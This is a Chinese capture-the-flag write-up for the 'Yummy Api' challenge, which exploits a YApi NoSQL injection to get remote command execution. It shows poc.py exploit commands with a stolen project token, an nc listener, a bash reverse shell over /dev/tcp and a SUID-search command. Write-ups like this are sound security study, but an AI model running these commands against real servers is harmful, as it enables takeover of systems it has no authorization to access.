【RWCTF体验赛Writeup】Yummy Api解题思路
题目分析
打开题目给的地址,发现是yapi随即页面下拉到最下方看版本,发现该版本存在历史漏洞,根本版本搜索相应存在的历史漏洞
解题思路
思路其实很简单,依托搜索引擎大法,第一步利用用户注册漏洞发现行不通,因为关闭用户注册了,之后又进行了搜索分析发现还存在另一个可利用漏洞:YApi NoSQL注入导致远程命令执行漏洞,通过此漏洞即可获取服务器权限进而读取flag
涉及知识点
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
解题方法
通过YApi NoSQL注入导致远程命令执行漏洞阅读说明,使用同目录下的poc.py脚本进行对站点漏洞利用反弹shell
步骤如下
-
在外网服务器nc -lvvp 监听一个反弹端口
-
python3 poc.py --debug one4all http://47.98.161.119/
![]()
利用成功 -
通过图片最小脚本给的建议利用方式进一步获取服务器权限:
python poc.py rce -u http://47.98.161.119/ -t 8fa743801266b2391d16 -o 11 --pid 66 --cid 66 --command="id"
生成一个反弹shell的命令替换id处的执行命令
python poc.py rce -u http://47.98.161.119/ -t 8fa743801266b2391d16 -o 11 --pid 66 --cid 66 --command="bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'" -
执行命令去外网服务器命令窗口看结果
成功获得权限 -
使用cd /命令切换根目录发现flag文件,直接./flag发现存在权限问题,又发现一个readflag文件,通过./readflag 成功读取flag(这里其实readflag如果不在根目录,常规思路是需要看看是否存在suid提权去提权读取flag的,通过命令find / -perm -u=s -type f 2>/dev/null 将尝试查找具有root权限的SUID的文件)



成功获得权限